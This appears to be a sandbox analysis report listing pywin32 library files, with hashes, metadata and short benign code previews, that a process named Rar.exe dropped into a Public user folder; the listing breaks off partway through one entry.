Preview:	"""Exception and error handling... This contains the core exceptions that the implementations should raise. as well as the IActiveScriptError interface code.. ."""..import re.import sys.import traceback..import pythoncom.import win32com.server.exception.import win32com.server.util.import winerror.from win32com.axscript import axscript..debugging = 0...def FormatForAX(text):. """Format a string suitable for an AX Host""". # Replace all " with ', so it works OK in HTML (ie, ASP). return ExpandTabs(AddCR(text))...def ExpandTabs(text):. return re.sub("\t", " ", text)...def AddCR(text):. return re.sub("\n", "\r\n", text)...class IActiveScriptError:. """An implementation of IActiveScriptError.. The ActiveX Scripting host calls this client whenever we report. an exception to it. This interface provides the exception details. for the host to report to the user.. """.. _com_interfaces_ = [axscript.IID_IActiveScriptError]. _public_methods_ = ["GetSourceLin

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\client\framework.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	45609
Entropy (8bit):	4.558280317748307
Encrypted:	false
SSDEEP:	384:YnkVhfSa7i4vubj8zhR7oCF1EfPcec4Xq0mbeB7rmRaH4iKlF8prfYjrqUjgc4qe:YkVhf/ukdyCYfkeP9sB86jrqy4Ie
MD5:	F80DB3148BB02DB7394413B365DBE726
SHA1:	35205C38191C769C0C17451D8641CF020B20A5AC
SHA-256:	E5508E5A9E7A42CEA6AEA7EC1B2819C59A3DF4F9FF0C7A4727E04C08D806CD28
SHA-512:	06EB27C0FE8A0997D45924F924F57E3AFC53376916956B92F5D41900F790EFB00134F370C3379CD4653F8CB846C39BEA19B42CCCFE7C3BC58161F5D883118245
Malicious:	false
Reputation:	low
Preview:	"""AXScript Client Framework.. This module provides a core framework for an ActiveX Scripting client.. Derived classes actually implement the AX Client itself, including the. scoping rules, etc... There are classes defined for the engine itself, and for ScriptItems.""".import re.import sys..import pythoncom # Need simple connection point support.import win32api.import win32com.client.connect.import win32com.server.util.import winerror.from win32com.axscript import axscript...def RemoveCR(text):. # No longer just "RemoveCR" - should be renamed to. # FixNewlines, or something. Idea is to fix arbitary newlines into. # something Python can compile.... return re.sub("(\r\n)\|\r\|(\n\r)", "\n", text)...SCRIPTTEXT_FORCEEXECUTION = -2147483648 # 0x80000000.SCRIPTTEXT_ISEXPRESSION = 0x00000020.SCRIPTTEXT_ISPERSISTENT = 0x00000040..from win32com.server.exception import Exception, IsCOMServerException..from . import error # ax.client.error..state_map = {. axscript.SCRIPTSTATE

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\client\pydumper.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2209
Entropy (8bit):	4.92912052688063
Encrypted:	false
SSDEEP:	48:nejpDpuXNcnYI1umm3uLkjpvp5TThEchP/6GyjBhWTOAGFk2DyvN/w:qON21uF3ugtEchP/KCOjFrDyvN/w
MD5:	3EEF17E893D9C828638F3282A7C45766
SHA1:	8FED63EA9770E424083F4A529EF7C72BDD6D9828
SHA-256:	8BC4284A2E6396858C7FA1CCCDEB05819DD074F0528451D38E6209BDD2E8F506
SHA-512:	E08AE09C0B2C2F25A35FD6C5AD7502D3B529F80E9F35C6BAD6148CF520DAE613A775BB3C5F11C73A314732A1C1215E49A7B8A373A4EEDE1382E1A1D004216E88
Malicious:	false
Reputation:	low
Preview:	# pydumper.py.#.# This is being worked on - it does not yet work at all, in ay way.# shape or form :-).#.# A new script engine, derived from the standard scripting engine,.# which dumps information...# This generally can be used to grab all sorts of useful details about.# an engine - expose bugs in it or Python, dump the object model, etc...# As it is derived from the standard engine, it fully supports Python.# as a scripting language - meaning the dumps produced can be quite dynamic,.# and based on the script code you execute...from win32com.axscript import axscript..from . import pyscript.from .pyscript import SCRIPTTEXT_FORCEEXECUTION, Exception, RaiseAssert, trace..PyDump_CLSID = "{ac527e60-c693-11d0-9c25-00aa00125a98}"...class AXScriptAttribute(pyscript.AXScriptAttribute):. pass...class NamedScriptAttribute(pyscript.NamedScriptAttribute):. pass...class PyScript(pyscript.PyScript):. pass...def Register():. import sys.. if "-d" in sys.argv:. dispatcher = "Dispa

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\client\pyscript.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	15365
Entropy (8bit):	4.595224299959172
Encrypted:	false
SSDEEP:	384:sXewygo5ieMXmLzjh2jBjmqLUSjNjsjIjgjNEtjFT7ZB/3Fv+VSYHj1j3jpjVXjV:we7go0eMXmLPhCdmqLUeJoksNEpnQDh5
MD5:	E127D587F36259875C37BA09D6F64653
SHA1:	9FCC884F6A2EABB0E982426FF92770A2E961406A
SHA-256:	F75FF2124A8A8E8F631A49B7BC1824D88D9A6106145DD812AB12A1F7E909DB93
SHA-512:	44F207863B69DA7B7DDE29C850D5A482DC1F91A6EBBF5A084A4D4C7DAC6227F07311A14DB91CC6AA1ECA7372CEB09D1F11706DB511C866B9DA624866E52591BB
Malicious:	false
Reputation:	low
Preview:	"""Python ActiveX Scripting Implementation..This module implements the Python ActiveX Scripting client...To register the implementation, simply "run" this Python program - ie.either double-click on it, or run "python.exe pyscript.py" from the.command line.."""..import re..import pythoncom.import win32api.import win32com.import win32com.client.dynamic.import win32com.server.register.import winerror.from win32com.axscript import axscript.from win32com.axscript.client import framework, scriptdispatch.from win32com.axscript.client.framework import (. SCRIPTTEXT_FORCEEXECUTION,. SCRIPTTEXT_ISEXPRESSION,. SCRIPTTEXT_ISPERSISTENT,. Exception,. RaiseAssert,. trace,.)..PyScript_CLSID = "{DF630910-1C1D-11d0-AE36-8C0F5E000000}"..debugging_attr = 0...def debug_attr_print(args):. if debugging_attr:. trace(args)...def ExpandTabs(text):. return re.sub("\t", " ", text)...def AddCR(text):. return re.sub("\n", "\r\n", text)...class AXScriptCodeBlock(framework.AXScr

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\client\pyscript_rexec.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2079
Entropy (8bit):	5.1327242411448495
Encrypted:	false
SSDEEP:	48:SSzKXMtCfKvV1V3wp2h2iuCgWchi2Jk+MANA1BXVAfL:DK8tLbhwpYXuzzLWBXafL
MD5:	4746513214FD3D49AB67680FC8CF35D9
SHA1:	D8AB9424AB9EEE3879A821B4BB5532048FF3F10C
SHA-256:	C6984941293A584ACB954395DC32E7092606C708F99AEACA827BBE2E8BA7F72D
SHA-512:	E1D0C3C2B765AAF8ED1378D799CEC21296CFE80CC261F133C35921E3941FF7C6BA6E37A839561C4FA7A58F28D1E73577CA7A6909AC851C3D463CCAD60B0ECFDA
Malicious:	false
Reputation:	low
Preview:	# A version of the ActiveScripting engine that enables rexec support.# This version supports hosting by IE - however, due to Python's.# rexec module being neither completely trusted nor private, it is.# not enabled by default..# As of Python 2.2, rexec is simply not available - thus, if you use this,.# a HTML page can do almost anything at all on your machine...# You almost certainly do NOT want to use thus!..import pythoncom.from win32com.axscript import axscript..from . import pyscript..INTERFACE_USES_DISPEX = 0x00000004 # Object knows to use IDispatchEx.INTERFACE_USES_SECURITY_MANAGER = (. 0x00000008 # Object knows to use IInternetHostSecurityManager.)...class PyScriptRExec(pyscript.PyScript):. # Setup the auto-registration stuff.... _reg_verprogid_ = "Python.AXScript-rexec.2". _reg_progid_ = "Python" # Same ProgID as the standard engine.. # ._reg_policy_spec_ = default. _reg_catids_ = [axscript.CATID_ActiveScript, axscript.CATID_ActiveScriptParse]. _reg_

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\client\scriptdispatch.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3876
Entropy (8bit):	4.680189112747225
Encrypted:	false
SSDEEP:	96:fyxNpGv5RQT/pzrfPk1xAj+AKE6iEc5fyREQ:4GC/gAWE6Bc5aREQ
MD5:	5021ACFFA8683413B7E99084C60FA6B5
SHA1:	9C30C55ACA4F94EB5C5C626C22C21F6927445BB6
SHA-256:	C2379DD57BB2495D3D3DAD4F57D782AA7E1D2C0595C78BFDE4984017AF2C214E
SHA-512:	4A206EDED838EA10B2D5AA4200B838816F2A0244A9BC6F00458F88A09DA631D76CEB597379BF13C2F326919ED3157F27AEA6675D419512BE9B4B3603D9C88EEA
Malicious:	false
Reputation:	low
Preview:	"""dynamic dispatch objects for AX Script... This is an IDispatch object that a scripting host may use to. query and invoke methods on the main script. Not may hosts use. this yet, so it is not well tested!."""..import types..import pythoncom.import win32com.server.policy.import win32com.server.util.import winerror.from win32com.axscript import axscript.from win32com.client import Dispatch.from win32com.server.exception import COMException..debugging = 0..PyIDispatchType = pythoncom.TypeIIDs[pythoncom.IID_IDispatch]...def _is_callable(obj):. return type(obj) in [types.FunctionType, types.MethodType]. # ignore hasattr(obj, "__call__") as this means all COM objects!...class ScriptDispatch:. _public_methods_ = [].. def __init__(self, engine, scriptNamespace):. self.engine = engine. self.scriptNamespace = scriptNamespace.. def _dynamic_(self, name, lcid, wFlags, args):. # Ensure any newly added items are available.. self.engine.RegisterNewNamedIt

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\server\axsite.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4143
Entropy (8bit):	4.704238630787578
Encrypted:	false
SSDEEP:	96:ZdKILH/cqFFZ+eIGNilxKBp/xbt3pR5WlDe3HF:tkMjIwOx4pRdp3Wk
MD5:	C8AB177A25EEDBE978F8A44CAF49F70C
SHA1:	F50DD82A66C8B496D2E53120E949907DC875FC00
SHA-256:	B41F83F503B4F4C43E4F75748FBC7101117AE9168AB3BFBF184F4EC1E7FB5821
SHA-512:	93C43138E621DCCB20A27E94F8BC866B5D5C72340D6BCFDB96CE635A847762A1FB5F0AF56D85CB41D75BA1C5C807055348788E66A3A5A0435A3AE03D170D8678
Malicious:	false
Reputation:	low
Preview:	import pythoncom.import win32com.axscript.axscript.import winerror.from win32com.axscript import axscript.from win32com.server import exception, util...class AXEngine:. def __init__(self, site, engine):. self.eScript = self.eParse = self.eSafety = None. if type(engine) == type(""):. engine = pythoncom.CoCreateInstance(. engine, None, pythoncom.CLSCTX_SERVER, pythoncom.IID_IUnknown. ).. self.eScript = engine.QueryInterface(axscript.IID_IActiveScript). self.eParse = engine.QueryInterface(axscript.IID_IActiveScriptParse). self.eSafety = engine.QueryInterface(axscript.IID_IObjectSafety).. self.eScript.SetScriptSite(site). self.eParse.InitNew().. def __del__(self):. self.Close().. def GetScriptDispatch(self, name=None):. return self.eScript.GetScriptDispatch(name).. def AddNamedItem(self, item, flags):. return self.eScript.AddNamedItem(item, flags).. # Some helpers..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\server\error.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	489
Entropy (8bit):	4.4888191490917
Encrypted:	false
SSDEEP:	12:2mGvWyhRrmG0DKCNUgFY6lKXGlJio1AGj+gLnRrEp+nr:/G5hRCGOHtFYUKXG/isApunUk
MD5:	D1B887E1852838FB3158E15DD8DC2F76
SHA1:	46DBDA3060D799B66240E38CD91AA449C1CAF8A3
SHA-256:	23410686595B5F8735EB249AD4C268D5BE5CA58B055DEE2164003354EF5AAFBF
SHA-512:	FFD864AC218122C23444ED30BFBCEA989F992014BF480D2FD354010C14DB44F8468E629D39528B44BFD7DAC2D4A0D7C64198639666C75D648B9D85059F717AFF
Malicious:	false
Reputation:	low
Preview:	"""Exception instance for AXScript servers...This module implements an exception instance that is raised by the core .server scripting support...When a script error occurs, it wraps the COM object that describes the.exception in a Python instance, which can then be raised and caught.."""...class Exception:. def __init__(self, activeScriptError):. self.activeScriptError = activeScriptError.. def __getattr__(self, attr):. return getattr(self.activeScriptError, attr).

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\test\debugTest.pys

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	202
Entropy (8bit):	4.78846195235404
Encrypted:	false
SSDEEP:	6:GqaHrf+2ClCkvdZvxz4/u7ooVMaTGOUnH3:b2TCEivBh7oH3
MD5:	1B1E5E89D140BAE27D78BBA769EF31B7
SHA1:	F387F0778B5098E93D944B875BD6A946F0647CFC
SHA-256:	93060807FEFD7107AE7B9FF83E7369F34BE0CD7E6D7AE3317AE380BCFB5C6DEE
SHA-512:	D872D77D95AFB443DC368EA95E4D66504BE63109FFFAB0E5FDDADD15E65256F02B1FF33ABC56EE3F95DEF29381B2559F221B8AA126CB3D474F5BDEEA0561635B
Malicious:	false
Reputation:	low
Preview:	def Function(i):..Test.Echo(i)..print(dir())..a=1.b=a.c=b # And here is a comment.d="A string".print(a).Test.echo("Hello from Python").for i in range(2):..Function(i).a = """\.A multi-line string!."""..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\test\debugTest.vbs

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	84
Entropy (8bit):	4.4385916030254124
Encrypted:	false
SSDEEP:	3:x2HYGGMOtsEJF2AMV5CCADEuuEJFsFwL4Jn:2Y8OnFBuolZJFsFwkJn
MD5:	AFD072C96DB7BD059EB7A65591315330
SHA1:	732AC8DDA1FE276F98CE53997107284877994C09
SHA-256:	3B76BACB85734D4759D81B9FAC389B31EC9CEE57EAB8A35F34F4F03E17BCB76B
SHA-512:	8D8B31B47E4ED705A5841472A546E47C7448CC6D555A0F3C4ACCE68425E189CD725B0B5CC9FC1BA970E51F75FDDF11DF408B3E335F2EB127250FCAEC63C0BBB4
Malicious:	false
Reputation:	low
Preview:	a=1.b=a.Test.Echo "Hello from VBScript".' Here is a comment.for i = 1 to 10. .next.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\test\leakTest.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4860
Entropy (8bit):	4.839504912514807
Encrypted:	false
SSDEEP:	96:kgfYwmTZmdHneTaQgcYZI8PS32d6tnfh43gQLzyfM68:kVT2ZVUwSmANfagQLOE68
MD5:	9D5F620DBD947D638EF8E5C070C1E706
SHA1:	E70F5C14BFFD7A6E6F6D0CBD617022D4AEA77409
SHA-256:	542AC5CD304D4BDA1993F2FBBB202866F3F683063CDF09CCFAF68A5230BC2433
SHA-512:	6AF9326CE5776BFDEC97943582C66022E9D6DF7B8A19A4294A7166CEBA0F35BF93A5DAC70D8AB5E9157E512A1471FCFCBA61C659A6FA219545A3BFC4A965403E
Malicious:	false
Reputation:	low
Preview:	import sys..import pythoncom.import win32com.server.policy.from win32com.axscript import axscript.from win32com.axscript.server import axsite.from win32com.axscript.server.error import Exception.from win32com.server import connect, util...class MySite(axsite.AXSite):. def OnScriptError(self, error):. exc = error.GetExceptionInfo(). context, line, char = error.GetSourcePosition(). print(" >Exception:", exc[1]). try:. st = error.GetSourceLineText(). except pythoncom.com_error:. st = None. if st is None:. st = "". text = st + "\n" + (" " * (char - 1)) + "^" + "\n" + exc[2]. for line in text.splitlines():. print(" >" + line)...class MyCollection(util.Collection):. def _NewEnum(self):. print("Making new Enumerator"). return util.Collection._NewEnum(self)...class Test:. _public_methods_ = ["echo"]. _public_attrs_ = ["collection", "verbose"].. def __init__(self):.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\test\testHost.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Ruby script, ASCII text
Category:	dropped
Size (bytes):	8325
Entropy (8bit):	4.7787877297794665
Encrypted:	false
SSDEEP:	192:k0TM0aZVU3xjDwFMKhfz7+1YfGUmQBkJ7zZQfiCKlH15q:k0TNAIJMdfzOUmQ+QfiCKlVY
MD5:	5B5360CA04A73F90ADB1EA08E2C66FA7
SHA1:	EB70BD96AC56EE9CAB77273EB0E1F7990ED0B69A
SHA-256:	CE89E35280C5131B74576BE0BCD3E9E77A0C7FCB8D510C5DD5065E60388475A0
SHA-512:	27072D36EB5F86D3D439BD62B65493929E5BE09D751D030FC53EB4EAC223E11E617A793C77CD6D290EF6AAEC17F84DCF59BAF661C2EBCE73B7ADCA6159C9D1DD
Malicious:	false
Reputation:	low
Preview:	import sys.import unittest..import pythoncom.import win32com.server.policy.import win32com.test.util.from win32com.axscript import axscript.from win32com.axscript.server import axsite.from win32com.axscript.server.error import Exception.from win32com.client.dynamic import Dispatch.from win32com.server import connect, util.from win32com.server.exception import COMException..verbose = "-v" in sys.argv...class MySite(axsite.AXSite):. def __init__(self, args):. self.exception_seen = None. axsite.AXSite.__init__(self, args).. def OnScriptError(self, error):. self.exception_seen = exc = error.GetExceptionInfo(). context, line, char = error.GetSourcePosition(). if not verbose:. return. print(" >Exception:", exc[1]). try:. st = error.GetSourceLineText(). except pythoncom.com_error:. st = None. if st is None:. st = "". text = st + "\n" + (" " * (char - 1)) + "^" + "\n" + exc

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\test\testHost4Dbg.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2821
Entropy (8bit):	4.8026048341123175
Encrypted:	false
SSDEEP:	48:ZZGYtvzQqRJ+NTpxWrgBBSYZZuJoKl4j8sLIse:ZZbvz/RQNTpxWrgBBSYjuZl4j8Nse
MD5:	A7D3DE6F0267051AA0AD14446AE995FD
SHA1:	7D6958D5AAE223A8482C926E6B81170426F46F96
SHA-256:	3559EC9F82467D5ECE95F97A278DDABFDE9E6909FC4B564FD0E9E273FF037C17
SHA-512:	3F0E6CF04E0D18BDC1CA457E115D8B28A4239B3BD2B368D44D71B136F80EFDFE2BFB9F90EE53A5447486B01B6371AA3BDE3ABEE49A140A0D21A68357B8E9BB77
Malicious:	false
Reputation:	low
Preview:	import os.import sys.import traceback..import pythoncom.import win32ui.from win32com.axscript import axscript.from win32com.axscript.server import axsite.from win32com.axscript.server.error import Exception.from win32com.server import util..version = "0.0.1"...class MySite(axsite.AXSite):. def OnScriptError(self, error):. print("An error occurred in the Script Code"). exc = error.GetExceptionInfo(). try:. text = error.GetSourceLineText(). except:. text = "<unknown>". context, line, char = error.GetSourcePosition(). print(. "Exception: %s (line %d)\n%s\n%s^\n%s". % (exc[1], line, text, " " * (char - 1), exc[2]). )...class ObjectModel:. _public_methods_ = ["echo", "msgbox"].. def echo(self, args):. print("".join(map(str, args))).. def msgbox(self, args):. msg = "".join(map(str, args)). win32ui.MessageBox(msg)...def TestEngine():. model = {"Test": util.wrap(Ob

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\bits\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	192
Entropy (8bit):	4.73288878491099
Encrypted:	false
SSDEEP:	3:SbFVEbW2llQkEr66FuxAAyWX7myhAgMXFPJoFcAtUIVKzLHKFaWlQkEr66NRS66u:SbFubDlQkDAAyWrNhS5WmKVsLHKkWlQp
MD5:	3D90A8BDF51DE0D7FAE66FC1389E2B45
SHA1:	B1D30B405F4F6FCE37727C9EC19590B42DE172EE
SHA-256:	7D1A6FE54DC90C23B0F60A0F0B3F9D5CAE9AC1AFECB9D6578F75B501CDE59508
SHA-512:	BD4EA236807A3C128C1EC228A19F75A0A6EF2B29603C571EE5D578847B20B395FEC219855D66A409B5057B5612E924EDCD5983986BEF531F1309ABA2FE7F0636
Malicious:	false
Reputation:	low
Preview:	# This is a python package.# __PackageSupportBuildPath__ not needed for distutil based builds,.# but not everyone is there yet..import win32com..win32com.__PackageSupportBuildPath__(__path__).

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\bits\bits.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	6.1599885596539234
Encrypted:	false
SSDEEP:	768:T7mh1bhikKz8imoqt0h5E+aNsKUZcqyWuEBgchujWZwHF5qtYNCLw:T741bHoqt0IAiqtBJM7F5QYwLw
MD5:	E237E05C23FA0387835F7EA2CFE74E0B
SHA1:	397A537CA4A5098CD5443EB2754BDBB5B8879A54
SHA-256:	282A1B861679B39D080E4B732DF4E56F7FFBF878F1D52A36D8E3C2A93E51728A
SHA-512:	22096F64A05CC179A6E7C917D9115AE06265366E367CE3C5B62701E7F850C03D7C219D9B629D0224B3F606AA2D797CE9C10CAA118037D5D64CDD9BDF8C299BC9
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Vks.Vks.Vks._..Rks...r.Tks...v.Dks...w.\ks...p.Wks.B.w.Wks...r.Tks...r.Rks.B.r.Qks.Vkr.8ks.B.u.Uks...z.]ks...s.Wks...q.Wks.RichVks.........PE..L......d...........!.....Z...X......oW.......p............................................@............................H...............L...............................T...........................p...@............p...............................text...[X.......Z.................. ..`.rdata...8...p...:...^..............@..@.data...............................@....rsrc...L...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\bits\test\show_all_jobs.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	4.925120953840814
Encrypted:	false
SSDEEP:	48:Sd+ibKliZOSFPW85uewtC2/HPreDuiNj/rKR9eOS:SIYKqnJEwOHTQ1j/bOS
MD5:	574AD594C36E73B70A59D3635601A4B3
SHA1:	BCBBD1E5A7BCF3ED00DE8CE55240B064C8183998
SHA-256:	69EB0FD2EBEF680A453A6D8A0BAE762D034CD8D13D01CFF9D9F49C210FACD5FB
SHA-512:	E12DA10AE68D8C2DCDA52C3CDD65BFBC59F9B85C9954A79042192A2ED5A4549ABE11E2E0E04964A8E4B44A3F3D988B35E50B045214421A37F54674B59AF16D07
Malicious:	false
Reputation:	low
Preview:	# Dump lots of info about BITS jobs..import pythoncom.from win32com.bits import bits..states = dict(. [. (val, (name[13:])). for name, val in vars(bits).items(). if name.startswith("BG_JOB_STATE_"). ].)..job_types = dict(. [. (val, (name[12:])). for name, val in vars(bits).items(). if name.startswith("BG_JOB_TYPE_"). ].)..bcm = pythoncom.CoCreateInstance(. bits.CLSID_BackgroundCopyManager,. None,. pythoncom.CLSCTX_LOCAL_SERVER,. bits.IID_IBackgroundCopyManager,.)..try:. enum = bcm.EnumJobs(bits.BG_JOB_ENUM_ALL_USERS).except pythoncom.error:. print("Failed to get jobs for all users - trying for current user"). enum = bcm.EnumJobs(0)..for job in enum:. print("Job:", job.GetDisplayName()). print("Description:", job.GetDescription()). print("Id:", job.GetId()). print("State:", states.get(job.GetState())). print("Type:", job_types.get(job.GetType())). print("Owner:", job.GetOwner()). print("Error

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\bits\test\test_bits.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3911
Entropy (8bit):	5.004305748117951
Encrypted:	false
SSDEEP:	48:uJmX+iYOSFX6WEYkoyohzp7BJSVnTS3jmSfUPpsViLPlsFuOCe4aqJNcJCLDShhV:u3hnBqo7SVneC4dEl/OCe4xMYyKEc0X
MD5:	B74809DA8C2D00398BB87C3E654C620C
SHA1:	11541D817CB690844E44CDD8ED55AEBA3928DD10
SHA-256:	635F84E356E4E51ACEF41E50BD3D69B22539B2A39BE04BD2FC99064D443A47C3
SHA-512:	2974BCFC7A106AAEE7E2DA779C71CBA11BD477F46C0D7F3DEBD5886DECCE5003FCFCBA27A7E8CE42016C4F22DB7D1CBA5AF53232E915864FFCF45AED0794DBFB
Malicious:	false
Reputation:	low
Preview:	import os.import tempfile..import pythoncom.import win32api.import win32event.from win32com.bits import bits.from win32com.server.util import wrap..TIMEOUT = 200 # ms.StopEvent = win32event.CreateEvent(None, 0, 0, None)..job_name = "bits-pywin32-test".states = dict(. [. (val, (name[13:])). for name, val in vars(bits).items(). if name.startswith("BG_JOB_STATE_"). ].)..bcm = pythoncom.CoCreateInstance(. bits.CLSID_BackgroundCopyManager,. None,. pythoncom.CLSCTX_LOCAL_SERVER,. bits.IID_IBackgroundCopyManager,.)...class BackgroundJobCallback:. _com_interfaces_ = [bits.IID_IBackgroundCopyCallback]. _public_methods_ = ["JobTransferred", "JobError", "JobModification"].. def JobTransferred(self, job):. print("Job Transferred", job). job.Complete(). win32event.SetEvent(StopEvent) # exit msg pump.. def JobError(self, job, error):. print("Job Error", job, error). f = error.GetFile(). print("While downlo

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\directsound\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	135
Entropy (8bit):	4.680015638860431
Encrypted:	false
SSDEEP:	3:SAFMBm3EAAGHQ+HWg7AIvGUVsLHKFaWlQkEr66NRS66u:SgCmCGHQqAaGUWLHKkWlQkAS6v
MD5:	F45C606FFC55FD2F41F42012D917BCE9
SHA1:	CA93419CC53FB4EFEF251483ABE766DA4B8E2DFD
SHA-256:	F0BB50AF1CAEA5B284BD463E5938229E7D22CC610B2D767EE1778E92A85849B4
SHA-512:	BA7BEBE62A6C2216E68E2D484C098662BA3D5217B39A3156B30E776D2BB3CF5D4F31DCDC48A2EB99BC5D80FFFE388B212EC707B7D10B48DF601430A07608FD46
Malicious:	false
Reputation:	low
Preview:	# See if we have a special directory for the binaries (for developers).import win32com..win32com.__PackageSupportBuildPath__(__path__).

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\directsound\directsound.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	65024
Entropy (8bit):	6.58174397795815
Encrypted:	false
SSDEEP:	1536:+In7Ngc9344gT6kDVWBgdq4LNfzJe44VPkqjPvvplQiLDv4u:+sOsSV/dq4LNwBh5vplQSDv4u
MD5:	D40FB659214ED1B1CAFDE2BFF4EE7805
SHA1:	EC11C0EE357BD887143B07F54C9F3FD0C944F602
SHA-256:	924BBFB70AF3D48A62473E1CFB35A13BEA1F897664C672892A6B87574EE1D572
SHA-512:	1988E812AF70A7328D349F15A08110EB8E9B8659D84F670981998C72A79D1EFA02966D15DB1BED9D484EDB8201D84092CBC597669A8DA4DD337E4F37023F2F1B
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.o.....................\.......\.......\.......\.................................................b........................Rich....................PE..L......d...........!.....b...........].......................................@............@.............................X...X........ ..d....................0..........T...........................`...@............................................text....`.......b.................. ..`.rdata...v.......x...f..............@..@.data...............................@....rsrc...d.... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\directsound\test\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	65
Entropy (8bit):	4.344714485879206
Encrypted:	false
SSDEEP:	3:SbFVEPxVWQFJVQk+FRNXNXOncRg:SbFupVhvik+ZXN+nc+
MD5:	E298466B6FD8193A58C680D2AE7D3C07
SHA1:	03EB7C7B6A5C0CE44615D9B3971E5E723FC6B72D
SHA-256:	CD76E2688236E4F28CDA19EEF724FC8BB23BFE9EA041F3CC6EDF9EBB11D59FF2
SHA-512:	50B6D223A092955BB007D9AFC25EBE6963D61D11E98C36EB6C1CD7B12852664B37763A40FD263796AC636EE3C1087912DBFF088CA64E887057E27BCA7C2D0B65
Malicious:	false
Reputation:	low
Preview:	# This is a Python package, imported by the win32com test suite..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\directsound\test\ds_record.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1403
Entropy (8bit):	5.171530998196383
Encrypted:	false
SSDEEP:	24:bhKDYyBItQA/C/aTGMMGOG2yyC8Fg1gWASEUzgH9/8tjtItqGJxa:AEyBImWFSMpOG9Hnb3AuB2qGJM
MD5:	DD4ECEEB15A19F7C1C558D6E424CFCDE
SHA1:	6BC48290856569F33E29C59E120E5D1DC2E8681E
SHA-256:	1B62139669A62943BE5069F94B50C4CD6F5923BBA3860FC02C2E1731C9A32CDC
